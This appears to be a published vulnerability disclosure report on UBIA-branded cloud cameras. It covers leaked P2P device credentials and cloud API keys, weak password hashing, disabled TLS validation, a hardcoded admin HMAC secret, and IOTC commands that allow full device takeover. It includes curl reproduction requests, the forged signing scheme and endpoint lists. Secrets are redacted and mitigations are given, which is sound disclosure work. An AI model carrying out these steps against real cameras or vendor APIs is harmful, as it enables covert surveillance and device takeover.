<tr><td>V01</td><td><span class="sev sev-crit">CRIT</span></td><td>Cloud API leaks IOTC device credentials in plaintext <span class="cve-tag">CVE-2025-12636</span></td></tr>
|
||||||
|
<tr><td>V02</td><td><span class="sev sev-high">HIGH</span></td><td>Cloud API leaks Alibaba/Tencent/Google keys in login response</td></tr>
|
||||||
|
<tr><td>V03</td><td><span class="sev sev-med">MED</span></td><td>Password hashing is HMAC-SHA1 with an empty key (= plain SHA1)</td></tr>
|
||||||
|
<tr><td>V04</td><td><span class="sev sev-high">HIGH</span></td><td>SSL certificate validation disabled in app (<code>ALLOW_ALL_HOSTNAME_VERIFIER</code>)</td></tr>
|
||||||
|
<tr><td>V05</td><td><span class="sev sev-crit">CRIT</span></td><td>Uses ThroughTek Kalay SDK <span class="cve-tag">CVE-2021-28372</span> <span class="cve-tag">CVE-2023-6322</span></td></tr>
|
||||||
|
<tr><td>V06</td><td><span class="sev sev-high">HIGH</span></td><td>Firmware connectivity checks over plain HTTP</td></tr>
|
||||||
|
<tr><td>V07</td><td><span class="sev sev-med">MED</span></td><td>Firmware download URL is sent to camera via IOTC command 4631 (injectable)</td></tr>
|
||||||
|
<tr><td>V08</td><td><span class="sev sev-info">INFO</span></td><td>Cloud infrastructure fully discoverable</td></tr>
|
||||||
|
<tr><td>V09</td><td><span class="sev sev-high">HIGH</span></td><td>IOTC command set allows full device control with leaked creds</td></tr>
|
||||||
|
<tr><td>V10</td><td><span class="sev sev-med">MED</span></td><td>User photo URL leaks Alibaba OSS access key ID</td></tr>
|
||||||
|
<tr><td>V11</td><td><span class="sev sev-high">HIGH</span></td><td><code>app/getconfig</code> leaks 8 cloud API keys (Google + AMap, per OEM × OS)</td></tr>
|
||||||
|
<tr><td>V12</td><td><span class="sev sev-high">HIGH</span></td><td>OTA bucket discovery via cloud config (Tencent COS, public-read on objects)</td></tr>
|
||||||
|
<tr><td>V13</td><td><span class="sev sev-med">MED</span></td><td>Second hardcoded camera password discovered <span class="redact">[REDACTED]</span></td></tr>
|
||||||
|
<tr><td>V14</td><td><span class="sev sev-high">HIGH</span></td><td>OAM admin HMAC secret hardcoded — <span class="hl">LIVE-CONFIRMED forging</span></td></tr>
|
||||||
|
<tr><td>V15</td><td><span class="sev sev-med">MED</span></td><td>SIM2 cellular API AppID/Secret hardcoded</td></tr>
|
||||||
|
<tr><td>V16</td><td><span class="sev sev-info">INFO</span></td><td>Native <code>libUBICAPIs.so</code> confirms rebranded ThroughTek Kalay stack</td></tr>
|
||||||
|
<tr><td>V17</td><td><span class="sev sev-med">MED</span></td><td><code>user/account/get_current_user</code> leaks personal data</td></tr>
|
||||||
|
<tr><td>V18</td><td><span class="sev sev-info">INFO</span></td><td>146 API endpoints discoverable from decompiled APK</td></tr>
|
||||||
|
<tr><td>V19</td><td><span class="sev sev-info">INFO</span></td><td>SoC identified: Ingenic T31 (per UBIA marketing) — enables OpenIPC pivot</td></tr>
|
||||||
|
<tr><td>V20</td><td><span class="sev sev-info">INFO</span></td><td>Vendor legal entity & disclosure contacts identified</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- ─── Per-finding deep dives ─── -->
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V01</span>
|
||||||
|
<span class="sev sev-crit">CRIT</span>
|
||||||
|
<span class="cve-tag">CVE-2025-12636</span>
|
||||||
|
<h3>Cloud API leaks IOTC device credentials in plaintext</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>The vendor's <code>POST /api/user/device_list</code> endpoint, when called by an authenticated owner, returns each owned device with the fields <code>cam_user</code> and <code>cam_pwd</code> in plaintext. These are not metadata about the device account on the cloud — they are the IOTC P2P device-auth credentials used to connect to the camera over the Kalay relay. Any party who obtains them can take full local control of the camera over P2P.</dd>
|
||||||
|
|
||||||
|
<dt>Reproduction</dt>
|
||||||
|
<dd>
|
||||||
|
<pre class="codeblock">
|
||||||
|
$ curl -sX POST https://portal.ubianet.com/api/user/device_list \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-H "X-Ubia-Auth-UserToken: <owner_token>" \
|
||||||
|
-H "X-UbiaAPI-CallContext: source=app&app=ubox&ver=1.1.360&osver=14" \
|
||||||
|
-d '{}'
|
||||||
|
</pre>
|
||||||
|
</dd>
|
||||||
|
|
||||||
|
<dt>Evidence (sanitized)</dt>
|
||||||
|
<dd>
|
||||||
|
<pre class="codeblock">
|
||||||
|
{
|
||||||
|
"code": 0, "msg": "success",
|
||||||
|
"data": {
|
||||||
|
"list": [
|
||||||
|
{
|
||||||
|
"device_uid": "<REDACTED-20-char>",
|
||||||
|
"name": "Living Room Cam",
|
||||||
|
"model_num": "2604",
|
||||||
|
"cam_user": "<REDACTED>", <span class="dim">// IOTC username</span>
|
||||||
|
"cam_pwd": "<REDACTED-13-char>", <span class="dim">// IOTC password — plaintext</span>
|
||||||
|
...
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</pre>
|
||||||
|
</dd>
|
||||||
|
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>Anyone who obtains a user's API token (or compromises the user's account) can immediately enumerate every camera the user owns and pull the local-auth credentials for each one. Combined with the leaked IOTC UID (also in the same response), the attacker can connect to the camera over the Kalay P2P relay from anywhere on the internet and execute the full IOTC command set (V09): live video, live audio, file enumeration, snapshot capture, motion-config rewrite, factory reset, device reboot. Plaintext storage of device-auth credentials by an account-tier API is a textbook CWE-522 violation.</dd>
|
||||||
|
|
||||||
|
<dt>Mitigation</dt>
|
||||||
|
<dd>Stop returning <code>cam_user</code> / <code>cam_pwd</code> in any cloud-tier API response. The legitimate app uses these credentials only to authenticate the IOTC session — that authentication can be performed by the cloud on the user's behalf with a short-lived token, the way Wyze, Tapo, and other modern cloud cameras have been doing for years.</dd>
|
||||||
|
|
||||||
|
<dt>Discovery notes</dt>
|
||||||
|
<dd>Originally disclosed via CISA advisory <strong>ICSA-25-310-02</strong>; UBIA did not respond to coordination. Our independent verification reproduces the issue against current shipping firmware (2604.1.2.69) using a freshly created consumer account.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V02</span>
|
||||||
|
<span class="sev sev-high">HIGH</span>
|
||||||
|
<h3>Cloud API leaks Alibaba/Tencent/Google keys in login response</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>The login response (<code>POST /api/v3/login</code>) embeds an <code>app_config</code> object that includes Alibaba Cloud OSS keys, Tencent Cloud keys, Google API keys, and AMap (Chinese maps) API keys for the app's mapping/storage features.</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>Any authenticated user can pull these keys and incur Google Cloud / Alibaba / Tencent billing damage on the vendor's accounts, abuse the maps services to mass-resolve location data, or pivot if the keys grant access to other Google projects sharing the same restrictions.</dd>
|
||||||
|
<dt>Mitigation</dt>
|
||||||
|
<dd>Move all third-party API calls behind the vendor's own backend. Never ship API keys in client-facing responses.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V03</span>
|
||||||
|
<span class="sev sev-med">MED</span>
|
||||||
|
<h3>Password hashing is HMAC-SHA1 with an empty key</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>From <code>com/http/HttpClient.java:195</code> and <code>NewApiHttpClient.java:737-744</code>: account passwords are hashed with <code>Base64(HmacSHA1(password, ""))</code>, then base64-encoded with character substitutions (<code>+</code>→<code>-</code>, <code>/</code>→<code>_</code>, <code>=</code>→<code>,</code>). HMAC with an empty key is mathematically equivalent to plain SHA1. There is no salt and no iteration count.</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>If the cloud-side password store is ever compromised, the entire user-base is recoverable to weak passwords in seconds with any modern cracking rig. Trivial offline brute force.</dd>
|
||||||
|
<dt>Mitigation</dt>
|
||||||
|
<dd>Switch to bcrypt or argon2id with per-user salts and a server-side cost factor. The fact that the password hashing is performed client-side with a fixed scheme means changing it requires app + server coordination.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V04</span>
|
||||||
|
<span class="sev sev-high">HIGH</span>
|
||||||
|
<h3>SSL certificate validation disabled in the app</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd><code>NewApiHttpClient.java:1053</code> uses <code>SSLConnectionSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER</code>. The app accepts any SSL certificate presented by any host, including self-signed and unrelated certs. There is no certificate pinning anywhere in the app's HTTP client.</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>Trivial MITM attack against the app. Anyone who can position themselves on the network path between the user's phone and <code>portal.ubianet.com</code> (rogue WiFi, ARP spoof on a hotel LAN, BGP hijack against an ISP) can intercept and modify all API traffic. We used exactly this approach for our own analysis.</dd>
|
||||||
|
<dt>Mitigation</dt>
|
||||||
|
<dd>Implement certificate pinning. The vendor controls a finite, stable set of TLS certificates for portal.ubianet.com — pin to those.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V05</span>
|
||||||
|
<span class="sev sev-crit">CRIT</span>
|
||||||
|
<span class="cve-tag">CVE-2021-28372</span>
|
||||||
|
<span class="cve-tag">CVE-2023-6322</span>
|
||||||
|
<h3>Uses ThroughTek Kalay SDK (rebranded as "UBIC")</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>The app's native libraries (<code>libUBICAPIs.so</code>, <code>libUBICAPIs23.so</code>, <code>libUBICAPIs29.so</code>, <code>libUBIENotify.so</code>) are a rebranded ThroughTek Kalay SDK. We confirmed this from symbol inspection: the libraries export <code>p4p_crypto_init</code>, <code>p4p_crypto_encode</code>, <code>p4p_crypto_decode</code>, <code>p4p_device_auth</code>, <code>p4p_device_update_auth</code>, <code>p4p_client_send_masterhello</code>, and reference Java class names like <code>com/tutk/IOTC/st_LanSearchInfo2</code>. Master server hostnames in <code>.rodata</code> point at <code>portal.ubianet.com</code> et al.</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>Every CVE published against ThroughTek Kalay applies, in particular CVE-2021-28372 (UID-based session hijack against the master, CVSS 9.6) and the CVE-2023-6322 / -6323 / -6324 chain (LAN-side parser memory corruption + auth bypass + RCE). The rebrand has no impact on the vulnerability surface.</dd>
|
||||||
|
<dt>Mitigation</dt>
|
||||||
|
<dd>Upgrade to the latest patched ThroughTek SDK. The rebranding does not exempt the vendor from following ThroughTek's security advisories.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V06</span>
|
||||||
|
<span class="sev sev-high">HIGH</span>
|
||||||
|
<h3>Firmware connectivity checks over plain HTTP</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>On boot, the camera makes plain HTTP (port 80) connectivity-check requests to <code>www.microsoft.com</code>, <code>www.amazon.com</code>, <code>www.apple.com</code>, and <code>www.qq.com</code> — the last entry is the strong tell that the firmware was compiled for the Chinese-domestic market. From <code>cam_monitor.pcap</code> in the engagement artifacts.</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>By itself this is mostly an information disclosure (clear-text proof of online connectivity). Combined with V07, it enables a MITM attacker to redirect the connectivity check, then intercept the subsequent firmware download path the camera triggers.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V07</span>
|
||||||
|
<span class="sev sev-med">MED</span>
|
||||||
|
<h3>Firmware update URL is sent to the camera via IOTC command 4631</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>From <code>com/apiv3/bean/AdvancedSettings.java:883-890</code>: the legitimate app calls <code>check_version/v3</code> on the cloud, receives an OTA URL in the response, then constructs a <code>SMsgAVIOCtrlFirmwareUpdateReq</code> struct and sends it to the camera over P2P as IOTC command <strong>4631</strong>. The struct contains the URL, file size, MD5, and a "required" flag. The camera then downloads from the URL itself.</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>If the app's check_version response is intercepted (V04) or if an attacker can inject IOTC command 4631 directly (using leaked V01 credentials), the camera can be made to download firmware from any attacker-chosen URL. Combined with V06 (firmware downloaded over HTTP, not HTTPS), this is a full firmware-replacement vector.</dd>
|
||||||
|
<dt>Mitigation</dt>
|
||||||
|
<dd>Sign firmware images with a vendor private key and verify the signature on-device before flashing. Reject any URL that isn't on a hardcoded allow-list. Enforce TLS for the actual download.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V08</span>
|
||||||
|
<span class="sev sev-info">INFO</span>
|
||||||
|
<h3>Cloud infrastructure fully discoverable</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>Every cloud component the device or app uses is discoverable from a single afternoon of MITM and decompilation: <code>portal.{us,cn,eu}.ubianet.com</code> (regional API tiers), <code>oam.ubianet.com</code> (operator/admin tier), <code>ubiaota-{us,cn}-1312441409.cos.{na-siliconvalley,ap-guangzhou}.myqcloud.com</code> (Tencent COS firmware buckets, with the APPID embedded in the hostname), <code>ubiasnap-{eu,as}.oss-{eu-central-1,ap-southeast-1}.aliyuncs.com</code> (Alibaba OSS photo storage), <code>uboxphoto-us.oss-us-west-1.aliyuncs.com</code> (US photo bucket), Tencent Cloud relay IPs in the 43.x range, and the SIM management portal at <code>118.178.150.203:9001 / api.iot400.com</code>.</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>Information disclosure. By itself low severity, but it builds the target map for every other finding.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V09</span>
|
||||||
|
<span class="sev sev-high">HIGH</span>
|
||||||
|
<h3>IOTC command set allows full device control with leaked creds</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>The IOTC P2P protocol exposes the standard ThroughTek command set. With the V01 credentials, an attacker can: stream live video (<code>768</code>) and audio (<code>769</code>), enumerate / download / upload / delete files on the SD card (<code>4864</code>–<code>4877</code>), trigger a firmware update (<code>4631</code>, V07), pull device info (<code>816</code>), read and rewrite motion-detection config (<code>806</code>), format the SD card (<code>896</code>), reassign the device's UID (<code>241</code>), capture pictures remotely (<code>8482</code>), and reboot the device (event type <code>16</code>).</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>Full device takeover from anywhere on the internet that can reach the Kalay relay (which is anywhere). With V01, the attacker is one cloud API call away from having all of these abilities.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V10</span>
|
||||||
|
<span class="sev sev-med">MED</span>
|
||||||
|
<h3>User photo URL leaks Alibaba OSS access key ID</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>The <code>avatar_url</code> field in user-account responses is a pre-signed Alibaba OSS URL with the access key ID embedded as a query parameter. The bucket itself is access-controlled (anonymous list returns <code>AccessDenied</code>) but the access key ID is leaked in cleartext to every authenticated user.</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>By itself low. If the corresponding secret is ever leaked from another endpoint, the access key becomes immediately useful for AWS-style S3-compatible operations against the bucket.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V11</span>
|
||||||
|
<span class="sev sev-high">HIGH</span>
|
||||||
|
<h3><code>app/getconfig</code> leaks 8 cloud API keys</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>The authenticated <code>POST /api/app/getconfig</code> endpoint returns an <code>android_private_config</code> and <code>ios_private_config</code> object containing Google Maps and AMap API keys for every OEM brand × OS combination — eight distinct keys in one response, plus AMap-by-Google translation keys for two brands. The same response also embeds the OTA bucket hostnames and the Tencent Cloud APPID.</dd>
|
||||||
|
<dt>Reproduction</dt>
|
||||||
|
<dd>
|
||||||
|
<pre class="codeblock">
|
||||||
|
$ curl -sX POST https://portal.ubianet.com/api/app/getconfig \
|
||||||
|
-H "X-Ubia-Auth-UserToken: <owner_token>" \
|
||||||
|
-H "Content-Type: application/json" -d '{}'
|
||||||
|
</pre>
|
||||||
|
</dd>
|
||||||
|
<dt>Evidence (sanitized)</dt>
|
||||||
|
<dd>
|
||||||
|
<pre class="codeblock">
|
||||||
|
{
|
||||||
|
"code": 0, "msg": "success",
|
||||||
|
"data": {
|
||||||
|
"config_uboxpro": {
|
||||||
|
"demo_video_en_url": "http://ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com/...",
|
||||||
|
"demo_video_zh_url": "http://ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com/..."
|
||||||
|
},
|
||||||
|
"android_private_config": {
|
||||||
|
"ucon": {
|
||||||
|
"AMapAPIKey": "<REDACTED>",
|
||||||
|
"GoogleAPIKey": "<REDACTED>",
|
||||||
|
"AMapByGoogleAPIKey": "<REDACTED>"
|
||||||
|
},
|
||||||
|
"ybox": { ...four more keys, REDACTED... }
|
||||||
|
},
|
||||||
|
"ios_private_config": { ...four more keys, REDACTED... }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</pre>
|
||||||
|
</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>An authenticated user can pull all eight keys and burn UBIA's quota / billing on Google Maps + Gaode (AMap) at will. If any key is shared with other UBIA Google Cloud projects, lateral abuse is possible.</dd>
|
||||||
|
<dt>Mitigation</dt>
|
||||||
|
<dd>Remove the keys from any client-facing response. Proxy all maps calls through the vendor's own backend.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V12</span>
|
||||||
|
<span class="sev sev-high">HIGH</span>
|
||||||
|
<h3>OTA bucket discovery via cloud config</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>The same <code>app/getconfig</code> response (V11) leaks the firmware OTA bucket hostnames: <code>ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com</code> and <code>ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com</code>. The Tencent Cloud APPID (<code>1312441409</code>) is part of the hostname. The example demo video URL embedded in the response (<code>dev_add_doc/1159_video/...</code>) confirmed individual objects in the bucket are public-read by ACL.</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>With the bucket name + product ID + model number, an attacker can attempt enumeration of firmware paths anonymously. Anonymous bucket listing is denied, but if any firmware object's path is guessable or leaks via another channel, anyone can download it without an account.</dd>
|
||||||
|
<dt>Discovery notes</dt>
|
||||||
|
<dd>We attempted 320 anonymous HEAD requests against plausible path templates (<code>dev_add_doc/{pid}/{ver}.bin</code>, <code>firmware/{model}/{ver}.bin</code>, etc.) and got zero hits. The real path scheme is non-obvious. MITM of the camera's own boot-time check should reveal it.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V13</span>
|
||||||
|
<span class="sev sev-med">MED</span>
|
||||||
|
<h3>Second hardcoded camera password discovered</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>From <code>cn/ubia/activity/LiveView.java:413</code> (and <code>LiveViewNew.java</code>, <code>LiveViewNew2.java</code>, <code>AddCarmeraSearchActivity.java</code>): a second hardcoded camera credential is used as a fallback in the live-view code paths, alongside the primary <code>admin</code>/<code><V01-leaked-pwd></code> pair. The string is unique enough that it has zero hits on the public web — meaning it is UBIA-specific, not part of any common Yoosee/VStarcam shared default set. Specific password redacted from this public report.</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>Adds a second guessable local credential. Combined with V01 and the box-mode <code>admin/admin</code> from <code>BoxWireReady.java:421</code>, the camera local-auth attack surface has at least three default username/password pairs.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V14</span>
|
||||||
|
<span class="sev sev-high">HIGH</span>
|
||||||
|
<h3>OAM admin HMAC secret hardcoded — LIVE-CONFIRMED forging</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>From <code>com/http/OamHttpClient.java:28</code>: the operator/admin client embeds a hardcoded HMAC-SHA1 secret used to sign requests against UBIA's operator tier at <code>https://oam.ubianet.com/api/</code>. The signing scheme (from the same file plus <code>com/http/Encryption.java</code>) is:
|
||||||
|
<pre class="codeblock">
|
||||||
|
sig_str = <timestamp_ms> + ":" + <appid> + ":" + <clientId> + ":" + <body>
|
||||||
|
sig = HmacSHA1(sig_str.utf8, secret.bytes) // hex-encoded
|
||||||
|
</pre>
|
||||||
|
Headers sent: <code>OAM-SIGN</code>, <code>OAM-APPID: 30001</code>, <code>CLIENT-ID</code>, <code>timestamp</code>. Specific secret value redacted from this public report.</dd>
|
||||||
|
|
||||||
|
<dt>Reproduction (live-confirmed)</dt>
|
||||||
|
<dd>We reproduced the signing scheme in our own client and posted to the only OAM endpoint visible in the app source (<code>lgc/bind_err</code>). The server accepted our forged signature and returned <code>{"code": 0, "data": "", "msg": "success"}</code>. We then posted to the second known OAM endpoint (<code>app/push_channel_reg</code>) and received a structured response back containing the registration schema (<code>{app_id, account, channel_id, mobile_info, token_id, err_title, err_msg}</code>) — confirming both endpoints are live and our signature is valid.</dd>
|
||||||
|
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>Any holder of the consumer APK can extract the secret in seconds and forge arbitrary requests against UBIA's operator/admin API. The full OAM endpoint set is not enumerated in the consumer app — only two endpoints are visible — but the existence of an authenticated operator tier with a fixed HMAC secret is itself a critical issue. Anyone willing to guess endpoint paths and replay them will eventually find the bulk-management routes.</dd>
|
||||||
|
|
||||||
|
<dt>Mitigation</dt>
|
||||||
|
<dd>Stop putting OAM credentials in the consumer APK at all. The consumer app has no business signing requests against an operator tier; if the consumer needs to report binding errors back to the vendor, that should be a regular authenticated user-tier endpoint, not the OAM tier. Rotate the secret immediately.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V15</span>
|
||||||
|
<span class="sev sev-med">MED</span>
|
||||||
|
<h3>SIM2 cellular API AppID/Secret hardcoded</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>From <code>com/http/NewApiHttpClient.java:190-191</code>: a cellular SIM management API (China Mobile OneLink-style) is signed with a hardcoded AppID + AppSecret pair embedded directly in the consumer APK.</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>Only relevant for SIM-equipped UBIA models (cellular cameras) but completely exposed for those. Allows forging of SIM-activation, data-package, and cellular-management requests against the cellular provider's portal.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V16</span>
|
||||||
|
<span class="sev sev-info">INFO</span>
|
||||||
|
<h3>Native libUBICAPIs.so confirms rebranded Kalay stack</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>The bundled native libraries are a rebranded ThroughTek Kalay SDK. Confirmed by:
|
||||||
|
<ul class="tools">
|
||||||
|
<li>Symbols: <code>p4p_crypto_init</code>, <code>p4p_crypto_encode</code>, <code>p4p_crypto_decode</code>, <code>p4p_device_auth</code>, <code>p4p_device_update_auth</code>, <code>p4p_client_send_masterhello</code>, <code>g_P4PCrypto</code>, <code>device_update_master</code></li>
|
||||||
|
<li>JNI bridge classes: <code>com/ubia/p4p/UBICAPIs/p4p_*</code></li>
|
||||||
|
<li>Java class references: <code>com/tutk/IOTC/st_LanSearchInfo2</code></li>
|
||||||
|
<li>Format strings: <code>STREAMREQ_COST: %u ms(P2P) UID:%s deviceSID:%d clientSID:%d</code></li>
|
||||||
|
<li>Master hostnames in <code>.rodata</code>: <code>portal.us.ubianet.com</code>, <code>portal.cn.ubianet.com</code>, <code>portal.ubianet.com</code></li>
|
||||||
|
<li>Photo bucket hostnames in <code>.rodata</code>: <code>ubiasnap-eu.oss-eu-central-1.aliyuncs.com</code>, <code>ubiasnap-as.oss-ap-southeast-1.aliyuncs.com</code></li>
|
||||||
|
</ul></dd>
|
||||||
|
<dt>Notes on crypto material</dt>
|
||||||
|
<dd>OpenSSL is statically linked into the native lib and symbols are stripped. <code>p4p_crypto_init</code> does not load any static auth key — it allocates buffers and the key is supplied at runtime by a caller. The TUTK auth key is therefore either runtime-derived from the cloud login response, or compiled into the device-side firmware (not the app). Further extraction will require either Frida hooks on a running app or device-side firmware extraction.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V17</span>
|
||||||
|
<span class="sev sev-med">MED</span>
|
||||||
|
<h3><code>user/account/get_current_user</code> leaks personal data</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>The authenticated <code>POST /api/user/account/get_current_user</code> endpoint returns the full user profile: account email, internal numeric user ID (<code>kuid</code>), per-user identifier (<code>uuid</code>), login node, language code, mobile brand/version, app ID, app version, device type, email-verification flag, WeChat binding status, and a pre-signed Alibaba OSS avatar URL (V10) embedding the access key ID.</dd>
|
||||||
|
<dt>Impact</dt>
|
||||||
|
<dd>Combined with V11 (cloud config leak) and V10 (signed avatar URL), an authenticated user gets a complete account fingerprint suitable for IDOR testing on other users. Internal numeric IDs (<code>kuid</code>) are sequential, making horizontal privilege escalation worth probing.</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V18</span>
|
||||||
|
<span class="sev sev-info">INFO</span>
|
||||||
|
<h3>146 API endpoints discoverable from the decompiled APK</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>A static grep for <code>getAbsoluteUrl(...)</code> and <code>okPost(...)</code> across the decompiled <code>com/</code> package returns 146 distinct endpoint paths — every cloud API call the consumer app can make. We harvested all of them into our fuzzer's <code>KNOWN_ENDPOINTS</code> list.</dd>
|
||||||
|
<dt>Notable categories</dt>
|
||||||
|
<dd>
|
||||||
|
<ul class="tools">
|
||||||
|
<li><code>pub/usersupport/*</code> — guest IM endpoints, less authenticated</li>
|
||||||
|
<li><code>mt/biz/*</code> — payment / business endpoints (Alipay, PayPal, WeChat Pay)</li>
|
||||||
|
<li><code>user/qry/*</code> — query endpoints (notifications, orders, devices, dynamic info)</li>
|
||||||
|
<li><code>user/auth*</code> — alternate auth flows (<code>user/auth</code>, <code>user/auth-email</code>, <code>user/faceId</code>)</li>
|
||||||
|
<li><code>interface</code>, <code>interface.php</code>, <code>old</code> — legacy paths worth probing for unauthenticated access</li>
|
||||||
|
<li><code>user/device-temp-token</code>, <code>temp_token</code> — short-lived token paths</li>
|
||||||
|
</ul>
|
||||||
|
</dd>
|
||||||
|
</dl>
|
||||||
|
</article>
|
||||||
|
|
||||||
|
<article class="finding-card">
|
||||||
|
<header>
|
||||||
|
<span class="vid">V19</span>
|
||||||
|
<span class="sev sev-info">INFO</span>
|
||||||
|
<h3>SoC identified: Ingenic T31 — enables OpenIPC pivot</h3>
|
||||||
|
</header>
|
||||||
|
<dl>
|
||||||
|
<dt>Vector</dt>
|
||||||
|
<dd>UBIA's own corporate intro page (<code>ubia.com.cn/intro/1.html</code>, Chinese-language) explicitly states they "launched a Junzheng T31 low-power doorbell / battery camera" and have shipped over three million low-power units. <em>Junzheng</em> is the Chinese name for Ingenic. Combined with the Kalay/UBIC P2P stack, the battery use case, and the standard cheap-IPC reference design, the SoC family is the Ingenic <strong>T31</strong> (likely T31N or T31X).</dd>
|
||||||
|
<dt>Why it matters</dt>
|
||||||
|
